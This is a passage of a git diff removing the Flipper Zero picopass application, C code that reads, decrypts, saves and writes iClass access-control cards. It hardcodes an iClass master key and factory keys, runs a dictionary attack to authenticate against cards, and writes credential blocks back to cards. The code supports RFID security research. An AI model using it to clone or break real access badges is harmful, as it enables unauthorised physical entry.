dev, dev_name, STORAGE_APP_DATA_PATH_PREFIX, PICOPASS_APP_EXTENSION, true); - } else if(dev->format == PicopassDeviceSaveFormatLF) { - return picopass_device_save_file(dev, dev_name, ANY_PATH("lfrfid"), ".rfid", true); - } - - return false; -} - -static bool picopass_device_load_data(PicopassDevice* dev, FuriString* path, bool show_dialog) { - bool parsed = false; - FlipperFormat* file = flipper_format_file_alloc(dev->storage); - PicopassBlock* AA1 = dev->dev_data.AA1; - PicopassPacs* pacs = &dev->dev_data.pacs; - FuriString* temp_str; - temp_str = furi_string_alloc(); - bool deprecated_version = false; - - if(dev->loading_cb) { - dev->loading_cb(dev->loading_cb_ctx, true); - } - - do { - if(!flipper_format_file_open_existing(file, furi_string_get_cstr(path))) break; - - // Read and verify file header - uint32_t version = 0; - if(!flipper_format_read_header(file, temp_str, &version)) break; - if(furi_string_cmp_str(temp_str, picopass_file_header) || - (version != picopass_file_version)) { - deprecated_version = true; - break; - } - - // Parse header blocks - bool block_read = true; - for(size_t i = 0; i < 6; i++) { - furi_string_printf(temp_str, "Block %d", i); - if(!flipper_format_read_hex( - file, furi_string_get_cstr(temp_str), AA1[i].data, PICOPASS_BLOCK_LEN)) { - block_read = false; - break; - } - } - - size_t app_limit = AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[0]; - // Fix for unpersonalized cards that have app_limit set to 0xFF - if(app_limit > PICOPASS_MAX_APP_LIMIT) app_limit = PICOPASS_MAX_APP_LIMIT; - for(size_t i = 6; i < app_limit; i++) { - furi_string_printf(temp_str, "Block %d", i); - if(!flipper_format_read_hex( - file, furi_string_get_cstr(temp_str), AA1[i].data, PICOPASS_BLOCK_LEN)) { - block_read = false; - break; - } - } - if(!block_read) break; - - if(picopass_device_parse_credential(AA1, pacs) != ERR_NONE) break; - if(picopass_device_parse_wiegand(pacs->credential, &pacs->record) != ERR_NONE) break; - - parsed = true; - } while(false); - - if(dev->loading_cb) { - dev->loading_cb(dev->loading_cb_ctx, false); - } - - if((!parsed) && (show_dialog)) { - if(deprecated_version) { - dialog_message_show_storage_error(dev->dialogs, "File format deprecated"); - } else { - dialog_message_show_storage_error(dev->dialogs, "Can not parse\nfile"); - } - } - - furi_string_free(temp_str); - flipper_format_free(file); - - return parsed; -} - -void picopass_device_clear(PicopassDevice* dev) { - furi_assert(dev); - - picopass_device_data_clear(&dev->dev_data); - memset(&dev->dev_data, 0, sizeof(dev->dev_data)); - dev->format = PicopassDeviceSaveFormatHF; - furi_string_reset(dev->load_path); -} - -void picopass_device_free(PicopassDevice* picopass_dev) { - furi_assert(picopass_dev); - picopass_device_clear(picopass_dev); - furi_record_close(RECORD_STORAGE); - furi_record_close(RECORD_DIALOGS); - furi_string_free(picopass_dev->load_path); - free(picopass_dev); -} - -bool picopass_file_select(PicopassDevice* dev) { - furi_assert(dev); - - FuriString* picopass_app_folder; - picopass_app_folder = furi_string_alloc_set(STORAGE_APP_DATA_PATH_PREFIX); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, PICOPASS_APP_EXTENSION, &I_Nfc_10px); - browser_options.base_path = STORAGE_APP_DATA_PATH_PREFIX; - - bool res = dialog_file_browser_show( - dev->dialogs, dev->load_path, picopass_app_folder, &browser_options); - - furi_string_free(picopass_app_folder); - if(res) { - FuriString* filename; - filename = furi_string_alloc(); - path_extract_filename(dev->load_path, filename, true); - strncpy(dev->dev_name, furi_string_get_cstr(filename), PICOPASS_DEV_NAME_MAX_LEN); - res = picopass_device_load_data(dev, dev->load_path, true); - if(res) { - picopass_device_set_name(dev, dev->dev_name); - } - furi_string_free(filename); - } - - return res; -} - -void picopass_device_data_clear(PicopassDeviceData* dev_data) { - for(size_t i = 0; i < PICOPASS_MAX_APP_LIMIT; i++) { - memset(dev_data->AA1[i].data, 0, sizeof(dev_data->AA1[i].data)); - } - dev_data->pacs.legacy = false; - dev_data->pacs.se_enabled = false; - dev_data->pacs.elite_kdf = false; - dev_data->pacs.pin_length = 0; -} - -bool picopass_device_delete(PicopassDevice* dev, bool use_load_path) { - furi_assert(dev); - - bool deleted = false; - FuriString* file_path; - file_path = furi_string_alloc(); - - do { - // Delete original file - if(use_load_path && !furi_string_empty(dev->load_path)) { - furi_string_set(file_path, dev->load_path); - } else { - furi_string_printf( - file_path, APP_DATA_PATH("%s%s"), dev->dev_name, PICOPASS_APP_EXTENSION); - } - if(!storage_simply_remove(dev->storage, furi_string_get_cstr(file_path))) break; - deleted = true; - } while(0); - - if(!deleted) { - dialog_message_show_storage_error(dev->dialogs, "Can not remove file"); - } - - furi_string_free(file_path); - return deleted; -} - -void picopass_device_set_loading_callback( - PicopassDevice* dev, - PicopassLoadingCallback callback, - void* context) { - furi_assert(dev); - - dev->loading_cb = callback; - dev->loading_cb_ctx = context; -} - -ReturnCode picopass_device_decrypt(uint8_t* enc_data, uint8_t* dec_data) { - uint8_t key[32] = {0}; - memcpy(key, picopass_iclass_decryptionkey, sizeof(picopass_iclass_decryptionkey)); - mbedtls_des3_context ctx; - mbedtls_des3_init(&ctx); - mbedtls_des3_set2key_dec(&ctx, key); - mbedtls_des3_crypt_ecb(&ctx, enc_data, dec_data); - mbedtls_des3_free(&ctx); - return ERR_NONE; -} - -ReturnCode picopass_device_parse_credential(PicopassBlock* AA1, PicopassPacs* pacs) { - ReturnCode err; - - pacs->biometrics = AA1[6].data[4]; - pacs->pin_length = AA1[6].data[6] & 0x0F; - pacs->encryption = AA1[6].data[7]; - - if(pacs->encryption == PicopassDeviceEncryption3DES) { - FURI_LOG_D(TAG, "3DES Encrypted"); - err = picopass_device_decrypt(AA1[7].data, pacs->credential); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "decrypt error %d", err); - return err; - } - - err = picopass_device_decrypt(AA1[8].data, pacs->pin0); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "decrypt error %d", err); - return err; - } - - err = picopass_device_decrypt(AA1[9].data, pacs->pin1); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "decrypt error %d", err); - return err; - } - } else if(pacs->encryption == PicopassDeviceEncryptionNone) { - FURI_LOG_D(TAG, "No Encryption"); - memcpy(pacs->credential, AA1[7].data, PICOPASS_BLOCK_LEN); - memcpy(pacs->pin0, AA1[8].data, PICOPASS_BLOCK_LEN); - memcpy(pacs->pin1, AA1[9].data, PICOPASS_BLOCK_LEN); - } else if(pacs->encryption == PicopassDeviceEncryptionDES) { - FURI_LOG_D(TAG, "DES Encrypted"); - } else { - FURI_LOG_D(TAG, "Unknown encryption"); - } - - pacs->sio = (AA1[10].data[0] == 0x30); // rough check - - return ERR_NONE; -} - -ReturnCode picopass_device_parse_wiegand(uint8_t* data, PicopassWiegandRecord* record) { - uint32_t* halves = (uint32_t*)data; - if(halves[0] == 0) { - uint8_t leading0s = __builtin_clz(REVERSE_BYTES_U32(halves[1])); - record->bitLength = 31 - leading0s; - } else { - uint8_t leading0s = __builtin_clz(REVERSE_BYTES_U32(halves[0])); - record->bitLength = 63 - leading0s; - } - FURI_LOG_D(TAG, "bitLength: %d", record->bitLength); - - if(record->bitLength == 26) { - uint8_t* v4 = data + 4; - uint32_t bot = v4[3] | (v4[2] << 8) | (v4[1] << 16) | (v4[0] << 24); - - record->CardNumber = (bot >> 1) & 0xFFFF; - record->FacilityCode = (bot >> 17) & 0xFF; - FURI_LOG_D(TAG, "FC: %u CN: %u", record->FacilityCode, record->CardNumber); - record->valid = true; - } else { - record->CardNumber = 0; - record->FacilityCode = 0; - record->valid = false; - } - return ERR_NONE; -} diff --git a/applications/external/picopass/picopass_device.h b/applications/external/picopass/picopass_device.h deleted file mode 100644 index b45df346c..000000000 --- a/applications/external/picopass/picopass_device.h +++ /dev/null @@ -1,117 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include - -#include "rfal_picopass.h" -#include -#include -#include "helpers/iclass_elite_dict.h" - -#define PICOPASS_DEV_NAME_MAX_LEN 22 -#define PICOPASS_READER_DATA_MAX_SIZE 64 -#define PICOPASS_BLOCK_LEN 8 -#define PICOPASS_MAX_APP_LIMIT 32 - -#define PICOPASS_CSN_BLOCK_INDEX 0 -#define PICOPASS_CONFIG_BLOCK_INDEX 1 -#define PICOPASS_EPURSE_BLOCK_INDEX 2 -#define PICOPASS_KD_BLOCK_INDEX 3 -#define PICOPASS_KC_BLOCK_INDEX 4 -#define PICOPASS_AIA_BLOCK_INDEX 5 -#define PICOPASS_PACS_CFG_BLOCK_INDEX 6 - -#define PICOPASS_APP_EXTENSION ".picopass" -#define PICOPASS_APP_SHADOW_EXTENSION ".pas" - -#define PICOPASS_DICT_KEY_BATCH_SIZE 10 - -typedef void (*PicopassLoadingCallback)(void* context, bool state); - -typedef struct { - IclassEliteDict* dict; - IclassEliteDictType type; - uint8_t current_sector; -} IclassEliteDictAttackData; - -typedef enum { - PicopassDeviceEncryptionUnknown = 0, - PicopassDeviceEncryptionNone = 0x14, - PicopassDeviceEncryptionDES = 0x15, - PicopassDeviceEncryption3DES = 0x17, -} PicopassEncryption; - -typedef enum { - PicopassDeviceSaveFormatHF, - PicopassDeviceSaveFormatLF, -} PicopassDeviceSaveFormat; - -typedef struct { - bool valid; - uint8_t bitLength; - uint8_t FacilityCode; - uint16_t CardNumber; -} PicopassWiegandRecord; - -typedef struct { - bool legacy; - bool se_enabled; - bool sio; - bool biometrics; - uint8_t key[8]; - bool elite_kdf; - uint8_t pin_length; - PicopassEncryption encryption; - uint8_t credential[8]; - uint8_t pin0[8]; - uint8_t pin1[8]; - PicopassWiegandRecord record; -} PicopassPacs; - -typedef struct { - uint8_t data[PICOPASS_BLOCK_LEN]; -} PicopassBlock; - -typedef struct { - PicopassBlock AA1[PICOPASS_MAX_APP_LIMIT]; - PicopassPacs pacs; - IclassEliteDictAttackData iclass_elite_dict_attack_data; -} PicopassDeviceData; - -typedef struct { - Storage* storage; - DialogsApp* dialogs; - PicopassDeviceData dev_data; - char dev_name[PICOPASS_DEV_NAME_MAX_LEN + 1]; - FuriString* load_path; - PicopassDeviceSaveFormat format; - PicopassLoadingCallback loading_cb; - void* loading_cb_ctx; -} PicopassDevice; - -PicopassDevice* picopass_device_alloc(); - -void picopass_device_free(PicopassDevice* picopass_dev); - -void picopass_device_set_name(PicopassDevice* dev, const char* name); - -bool picopass_device_save(PicopassDevice* dev, const char* dev_name); - -bool picopass_file_select(PicopassDevice* dev); - -void picopass_device_data_clear(PicopassDeviceData* dev_data); - -void picopass_device_clear(PicopassDevice* dev); - -bool picopass_device_delete(PicopassDevice* dev, bool use_load_path); - -void picopass_device_set_loading_callback( - PicopassDevice* dev, - PicopassLoadingCallback callback, - void* context); - -ReturnCode picopass_device_parse_credential(PicopassBlock* AA1, PicopassPacs* pacs); -ReturnCode picopass_device_parse_wiegand(uint8_t* data, PicopassWiegandRecord* record); diff --git a/applications/external/picopass/picopass_i.h b/applications/external/picopass/picopass_i.h deleted file mode 100644 index 9147cfa0c..000000000 --- a/applications/external/picopass/picopass_i.h +++ /dev/null @@ -1,99 +0,0 @@ -#pragma once - -#include "picopass.h" -#include "picopass_worker.h" -#include "picopass_device.h" - -#include "rfal_picopass.h" - -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include - -#include - -#include "scenes/picopass_scene.h" -#include "views/dict_attack.h" - -#include -#include -#include - -#define PICOPASS_TEXT_STORE_SIZE 128 - -enum PicopassCustomEvent { - // Reserve first 100 events for button types and indexes, starting from 0 - PicopassCustomEventReserved = 100, - - PicopassCustomEventViewExit, - PicopassCustomEventWorkerExit, - PicopassCustomEventByteInputDone, - PicopassCustomEventTextInputDone, - PicopassCustomEventDictAttackSkip, -}; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -struct Picopass { - PicopassWorker* worker; - ViewDispatcher* view_dispatcher; - Gui* gui; - NotificationApp* notifications; - SceneManager* scene_manager; - PicopassDevice* dev; - - char text_store[PICOPASS_TEXT_STORE_SIZE + 1]; - FuriString* text_box_store; - - // Common Views - Submenu* submenu; - Popup* popup; - Loading* loading; - TextInput* text_input; - Widget* widget; - DictAttack* dict_attack; -}; - -typedef enum { - PicopassViewMenu, - PicopassViewPopup, - PicopassViewLoading, - PicopassViewTextInput, - PicopassViewWidget, - PicopassViewDictAttack, -} PicopassView; - -Picopass* picopass_alloc(); - -void picopass_text_store_set(Picopass* picopass, const char* text, ...); - -void picopass_text_store_clear(Picopass* picopass); - -void picopass_blink_start(Picopass* picopass); - -void picopass_blink_stop(Picopass* picopass); - -void picopass_show_loading_popup(void* context, bool show); - -/** Check if memory is set to pattern - * - * @warning zero size will return false - * - * @param[in] data Pointer to the byte array - * @param[in] pattern The pattern - * @param[in] size The byte array size - * - * @return True if memory is set to pattern, false otherwise - */ -bool picopass_is_memset(const uint8_t* data, const uint8_t pattern, size_t size); diff --git a/applications/external/picopass/picopass_keys.c b/applications/external/picopass/picopass_keys.c deleted file mode 100644 index 43dfc6312..000000000 --- a/applications/external/picopass/picopass_keys.c +++ /dev/null @@ -1,8 +0,0 @@ -#include "picopass_keys.h" - -const uint8_t picopass_iclass_key[] = {0xaf, 0xa7, 0x85, 0xa7, 0xda, 0xb3, 0x33, 0x78}; -const uint8_t picopass_factory_credit_key[] = {0x76, 0x65, 0x54, 0x43, 0x32, 0x21, 0x10, 0x00}; -const uint8_t picopass_factory_debit_key[] = {0xf0, 0xe1, 0xd2, 0xc3, 0xb4, 0xa5, 0x96, 0x87}; -const uint8_t picopass_xice_key[] = {0x20, 0x20, 0x66, 0x66, 0x66, 0x66, 0x88, 0x88}; -const uint8_t picopass_xicl_key[] = {0x20, 0x20, 0x66, 0x66, 0x66, 0x66, 0x88, 0x88}; -const uint8_t picopass_xics_key[] = {0x66, 0x66, 0x20, 0x20, 0x66, 0x66, 0x88, 0x88}; diff --git a/applications/external/picopass/picopass_keys.h b/applications/external/picopass/picopass_keys.h deleted file mode 100644 index 2b5dba661..000000000 --- a/applications/external/picopass/picopass_keys.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -#include "picopass_device.h" - -extern const uint8_t picopass_iclass_key[PICOPASS_BLOCK_LEN]; -extern const uint8_t picopass_factory_credit_key[PICOPASS_BLOCK_LEN]; -extern const uint8_t picopass_factory_debit_key[PICOPASS_BLOCK_LEN]; -extern const uint8_t picopass_xice_key[PICOPASS_BLOCK_LEN]; -extern const uint8_t picopass_xicl_key[PICOPASS_BLOCK_LEN]; -extern const uint8_t picopass_xics_key[PICOPASS_BLOCK_LEN]; diff --git a/applications/external/picopass/picopass_worker.c b/applications/external/picopass/picopass_worker.c deleted file mode 100644 index d7f7cf144..000000000 --- a/applications/external/picopass/picopass_worker.c +++ /dev/null @@ -1,752 +0,0 @@ -#include "picopass_worker_i.h" - -#include - -#define TAG "PicopassWorker" - -static void picopass_worker_enable_field() { - furi_hal_nfc_ll_txrx_on(); - furi_hal_nfc_exit_sleep(); - furi_hal_nfc_ll_poll(); -} - -static ReturnCode picopass_worker_disable_field(ReturnCode rc) { - furi_hal_nfc_ll_txrx_off(); - furi_hal_nfc_start_sleep(); - return rc; -} - -/***************************** Picopass Worker API *******************************/ - -PicopassWorker* picopass_worker_alloc() { - PicopassWorker* picopass_worker = malloc(sizeof(PicopassWorker)); - - // Worker thread attributes - picopass_worker->thread = - furi_thread_alloc_ex("PicopassWorker", 8 * 1024, picopass_worker_task, picopass_worker); - - picopass_worker->callback = NULL; - picopass_worker->context = NULL; - picopass_worker->storage = furi_record_open(RECORD_STORAGE); - - picopass_worker_change_state(picopass_worker, PicopassWorkerStateReady); - - return picopass_worker; -} - -void picopass_worker_free(PicopassWorker* picopass_worker) { - furi_assert(picopass_worker); - - furi_thread_free(picopass_worker->thread); - - furi_record_close(RECORD_STORAGE); - - free(picopass_worker); -} - -PicopassWorkerState picopass_worker_get_state(PicopassWorker* picopass_worker) { - return picopass_worker->state; -} - -void picopass_worker_start( - PicopassWorker* picopass_worker, - PicopassWorkerState state, - PicopassDeviceData* dev_data, - PicopassWorkerCallback callback, - void* context) { - furi_assert(picopass_worker); - furi_assert(dev_data); - - picopass_worker->callback = callback; - picopass_worker->context = context; - picopass_worker->dev_data = dev_data; - picopass_worker_change_state(picopass_worker, state); - furi_thread_start(picopass_worker->thread); -} - -void picopass_worker_stop(PicopassWorker* picopass_worker) { - furi_assert(picopass_worker); - furi_assert(picopass_worker->thread); - - if(furi_thread_get_state(picopass_worker->thread) != FuriThreadStateStopped) { - picopass_worker_change_state(picopass_worker, PicopassWorkerStateStop); - furi_thread_join(picopass_worker->thread); - } -} - -void picopass_worker_change_state(PicopassWorker* picopass_worker, PicopassWorkerState state) { - picopass_worker->state = state; -} - -/***************************** Picopass Worker Thread *******************************/ - -ReturnCode picopass_detect_card(int timeout) { - UNUSED(timeout); - - ReturnCode err; - - err = rfalPicoPassPollerInitialize(); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerInitialize error %d", err); - return err; - } - - err = rfalFieldOnAndStartGT(); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalFieldOnAndStartGT error %d", err); - return err; - } - - err = rfalPicoPassPollerCheckPresence(); - if(err != ERR_RF_COLLISION) { - //FURI_LOG_E(TAG, "rfalPicoPassPollerCheckPresence error %d", err); - return err; - } - - return ERR_NONE; -} - -ReturnCode picopass_read_preauth(PicopassBlock* AA1) { - rfalPicoPassIdentifyRes idRes; - rfalPicoPassSelectRes selRes; - - ReturnCode err; - - err = rfalPicoPassPollerIdentify(&idRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerIdentify error %d", err); - return err; - } - - err = rfalPicoPassPollerSelect(idRes.CSN, &selRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerSelect error %d", err); - return err; - } - - memcpy(AA1[PICOPASS_CSN_BLOCK_INDEX].data, selRes.CSN, sizeof(selRes.CSN)); - FURI_LOG_D( - TAG, - "csn %02x%02x%02x%02x%02x%02x%02x%02x", - AA1[PICOPASS_CSN_BLOCK_INDEX].data[0], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[1], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[2], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[3], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[4], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[5], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[6], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[7]); - - rfalPicoPassReadBlockRes cfg = {0}; - rfalPicoPassPollerReadBlock(PICOPASS_CONFIG_BLOCK_INDEX, &cfg); - memcpy(AA1[PICOPASS_CONFIG_BLOCK_INDEX].data, cfg.data, sizeof(cfg.data)); - FURI_LOG_D( - TAG, - "config %02x%02x%02x%02x%02x%02x%02x%02x", - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[0], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[1], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[2], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[3], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[4], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[5], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[6], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[7]); - - rfalPicoPassReadBlockRes aia; - rfalPicoPassPollerReadBlock(PICOPASS_AIA_BLOCK_INDEX, &aia); - memcpy(AA1[PICOPASS_AIA_BLOCK_INDEX].data, aia.data, sizeof(aia.data)); - FURI_LOG_D( - TAG, - "aia %02x%02x%02x%02x%02x%02x%02x%02x", - AA1[PICOPASS_AIA_BLOCK_INDEX].data[0], - AA1[PICOPASS_AIA_BLOCK_INDEX].data[1], - AA1[PICOPASS_AIA_BLOCK_INDEX].data[2], - AA1[PICOPASS_AIA_BLOCK_INDEX].data[3], - AA1[PICOPASS_AIA_BLOCK_INDEX].data[4], - AA1[PICOPASS_AIA_BLOCK_INDEX].data[5], - AA1[PICOPASS_AIA_BLOCK_INDEX].data[6], - AA1[PICOPASS_AIA_BLOCK_INDEX].data[7]); - - return ERR_NONE; -} - -static ReturnCode - picopass_auth_dict(PicopassWorker* picopass_worker, IclassEliteDictType dict_type) { - rfalPicoPassReadCheckRes rcRes; - rfalPicoPassCheckRes chkRes; - bool elite = (dict_type != IclassStandardDictTypeFlipper); - - PicopassDeviceData* dev_data = picopass_worker->dev_data; - PicopassBlock* AA1 = dev_data->AA1; - PicopassPacs* pacs = &dev_data->pacs; - - uint8_t* csn = AA1[PICOPASS_CSN_BLOCK_INDEX].data; - uint8_t* div_key = AA1[PICOPASS_KD_BLOCK_INDEX].data; - - ReturnCode err = ERR_PARAM; - - uint8_t mac[4] = {0}; - uint8_t ccnr[12] = {0}; - - size_t index = 0; - uint8_t key[PICOPASS_BLOCK_LEN] = {0}; - - if(!iclass_elite_dict_check_presence(dict_type)) { - FURI_LOG_E(TAG, "Dictionary not found"); - return ERR_PARAM; - } - - IclassEliteDict* dict = iclass_elite_dict_alloc(dict_type); - if(!dict) { - FURI_LOG_E(TAG, "Dictionary not allocated"); - return ERR_PARAM; - } - - FURI_LOG_D(TAG, "Loaded %lu keys", iclass_elite_dict_get_total_keys(dict)); - while(iclass_elite_dict_get_next_key(dict, key)) { - FURI_LOG_D( - TAG, - "Try to %s auth with key %zu %02x%02x%02x%02x%02x%02x%02x%02x", - elite ? "elite" : "standard", - index++, - key[0], - key[1], - key[2], - key[3], - key[4], - key[5], - key[6], - key[7]); - - err = rfalPicoPassPollerReadCheck(&rcRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerReadCheck error %d", err); - break; - } - memcpy(ccnr, rcRes.CCNR, sizeof(rcRes.CCNR)); // last 4 bytes left 0 - - loclass_iclass_calc_div_key(csn, key, div_key, elite); - loclass_opt_doReaderMAC(ccnr, div_key, mac); - - err = rfalPicoPassPollerCheck(mac, &chkRes); - if(err == ERR_NONE) { - memcpy(pacs->key, key, PICOPASS_BLOCK_LEN); - break; - } - - if(picopass_worker->state != PicopassWorkerStateDetect) break; - } - - iclass_elite_dict_free(dict); - - return err; -} - -ReturnCode picopass_auth(PicopassWorker* picopass_worker) { - ReturnCode err; - - FURI_LOG_I(TAG, "Starting system dictionary attack [Standard KDF]"); - err = picopass_auth_dict(picopass_worker, IclassStandardDictTypeFlipper); - if(err == ERR_NONE) { - return ERR_NONE; - } - - FURI_LOG_I(TAG, "Starting user dictionary attack [Elite KDF]"); - err = picopass_auth_dict(picopass_worker, IclassEliteDictTypeUser); - if(err == ERR_NONE) { - return ERR_NONE; - } - - FURI_LOG_I(TAG, "Starting system dictionary attack [Elite KDF]"); - err = picopass_auth_dict(picopass_worker, IclassEliteDictTypeFlipper); - if(err == ERR_NONE) { - return ERR_NONE; - } - - return err; -} - -ReturnCode picopass_read_card(PicopassBlock* AA1) { - ReturnCode err; - - size_t app_limit = AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[0] < PICOPASS_MAX_APP_LIMIT ? - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[0] : - PICOPASS_MAX_APP_LIMIT; - - for(size_t i = 2; i < app_limit; i++) { - if(i == PICOPASS_KD_BLOCK_INDEX) { - // Skip over Kd block which is populated earlier (READ of Kd returns all FF's) - continue; - } - - rfalPicoPassReadBlockRes block; - err = rfalPicoPassPollerReadBlock(i, &block); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerReadBlock error %d", err); - return err; - } - - FURI_LOG_D( - TAG, - "rfalPicoPassPollerReadBlock %d %02x%02x%02x%02x%02x%02x%02x%02x", - i, - block.data[0], - block.data[1], - block.data[2], - block.data[3], - block.data[4], - block.data[5], - block.data[6], - block.data[7]); - - memcpy(AA1[i].data, block.data, sizeof(block.data)); - } - - return ERR_NONE; -} - -ReturnCode picopass_write_card(PicopassBlock* AA1) { - rfalPicoPassIdentifyRes idRes; - rfalPicoPassSelectRes selRes; - rfalPicoPassReadCheckRes rcRes; - rfalPicoPassCheckRes chkRes; - - ReturnCode err; - - uint8_t div_key[8] = {0}; - uint8_t mac[4] = {0}; - uint8_t ccnr[12] = {0}; - - err = rfalPicoPassPollerIdentify(&idRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerIdentify error %d", err); - return err; - } - - err = rfalPicoPassPollerSelect(idRes.CSN, &selRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerSelect error %d", err); - return err; - } - - err = rfalPicoPassPollerReadCheck(&rcRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerReadCheck error %d", err); - return err; - } - memcpy(ccnr, rcRes.CCNR, sizeof(rcRes.CCNR)); // last 4 bytes left 0 - - loclass_iclass_calc_div_key(selRes.CSN, (uint8_t*)picopass_iclass_key, div_key, false); - loclass_opt_doReaderMAC(ccnr, div_key, mac); - - err = rfalPicoPassPollerCheck(mac, &chkRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerCheck error %d", err); - return err; - } - - for(size_t i = 6; i < 10; i++) { - FURI_LOG_D(TAG, "rfalPicoPassPollerWriteBlock %d", i); - uint8_t data[9] = {0}; - data[0] = i; - memcpy(data + 1, AA1[i].data, RFAL_PICOPASS_MAX_BLOCK_LEN); - loclass_doMAC_N(data, sizeof(data), div_key, mac); - FURI_LOG_D( - TAG, - "loclass_doMAC_N %d %02x%02x%02x%02x%02x%02x%02x%02x %02x%02x%02x%02x", - i, - data[1], - data[2], - data[3], - data[4], - data[5], - data[6], - data[7], - data[8], - mac[0], - mac[1], - mac[2], - mac[3]); - - err = rfalPicoPassPollerWriteBlock(i, AA1[i].data, mac); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerWriteBlock error %d", err); - return err; - } - } - - return ERR_NONE; -} - -ReturnCode picopass_write_block(PicopassBlock* AA1, uint8_t blockNo, uint8_t* newBlock) { - rfalPicoPassIdentifyRes idRes; - rfalPicoPassSelectRes selRes; - rfalPicoPassReadCheckRes rcRes; - rfalPicoPassCheckRes chkRes; - - ReturnCode err; - - uint8_t mac[4] = {0}; - uint8_t ccnr[12] = {0}; - - err = rfalPicoPassPollerIdentify(&idRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerIdentify error %d", err); - return err; - } - - err = rfalPicoPassPollerSelect(idRes.CSN, &selRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerSelect error %d", err); - return err; - } - - err = rfalPicoPassPollerReadCheck(&rcRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerReadCheck error %d", err); - return err; - } - memcpy(ccnr, rcRes.CCNR, sizeof(rcRes.CCNR)); // last 4 bytes left 0 - - if(memcmp(selRes.CSN, AA1[PICOPASS_CSN_BLOCK_INDEX].data, PICOPASS_BLOCK_LEN) != 0) { - FURI_LOG_E(TAG, "Wrong CSN for write"); - return ERR_REQUEST; - } - - loclass_opt_doReaderMAC(ccnr, AA1[PICOPASS_KD_BLOCK_INDEX].data, mac); - err = rfalPicoPassPollerCheck(mac, &chkRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerCheck error %d", err); - return err; - } - - FURI_LOG_D(TAG, "rfalPicoPassPollerWriteBlock %d", blockNo); - uint8_t data[9] = { - blockNo, - newBlock[0], - newBlock[1], - newBlock[2], - newBlock[3], - newBlock[4], - newBlock[5], - newBlock[6], - newBlock[7]}; - loclass_doMAC_N(data, sizeof(data), AA1[PICOPASS_KD_BLOCK_INDEX].data, mac); - FURI_LOG_D( - TAG, - "loclass_doMAC_N %d %02x%02x%02x%02x%02x%02x%02x%02x %02x%02x%02x%02x", - blockNo, - data[1], - data[2], - data[3], - data[4], - data[5], - data[6], - data[7], - data[8], - mac[0], - mac[1], - mac[2], - mac[3]); - - err = rfalPicoPassPollerWriteBlock(data[0], data + 1, mac); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerWriteBlock error %d", err); - return err; - } - - return ERR_NONE; -} - -void picopass_worker_elite_dict_attack(PicopassWorker* picopass_worker) { - furi_assert(picopass_worker); - furi_assert(picopass_worker->callback); - - picopass_device_data_clear(picopass_worker->dev_data); - PicopassDeviceData* dev_data = picopass_worker->dev_data; - PicopassBlock* AA1 = dev_data->AA1; - PicopassPacs* pacs = &dev_data->pacs; - - for(size_t i = 0; i < PICOPASS_MAX_APP_LIMIT; i++) { - memset(AA1[i].data, 0, sizeof(AA1[i].data)); - } - memset(pacs, 0, sizeof(PicopassPacs)); - - IclassEliteDictAttackData* dict_attack_data = - &picopass_worker->dev_data->iclass_elite_dict_attack_data; - bool elite = (dict_attack_data->type != IclassStandardDictTypeFlipper); - - rfalPicoPassReadCheckRes rcRes; - rfalPicoPassCheckRes chkRes; - - ReturnCode err; - uint8_t mac[4] = {0}; - uint8_t ccnr[12] = {0}; - - size_t index = 0; - uint8_t key[PICOPASS_BLOCK_LEN] = {0}; - - // Load dictionary - IclassEliteDict* dict = dict_attack_data->dict; - if(!dict) { - FURI_LOG_E(TAG, "Dictionary not found"); - picopass_worker->callback(PicopassWorkerEventNoDictFound, picopass_worker->context); - return; - } - - do { - if(picopass_detect_card(1000) == ERR_NONE) { - picopass_worker->callback(PicopassWorkerEventCardDetected, picopass_worker->context); - - // Process first found device - err = picopass_read_preauth(AA1); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_read_preauth error %d", err); - picopass_worker->callback(PicopassWorkerEventAborted, picopass_worker->context); - return; - } - - // Thank you proxmark! - pacs->legacy = 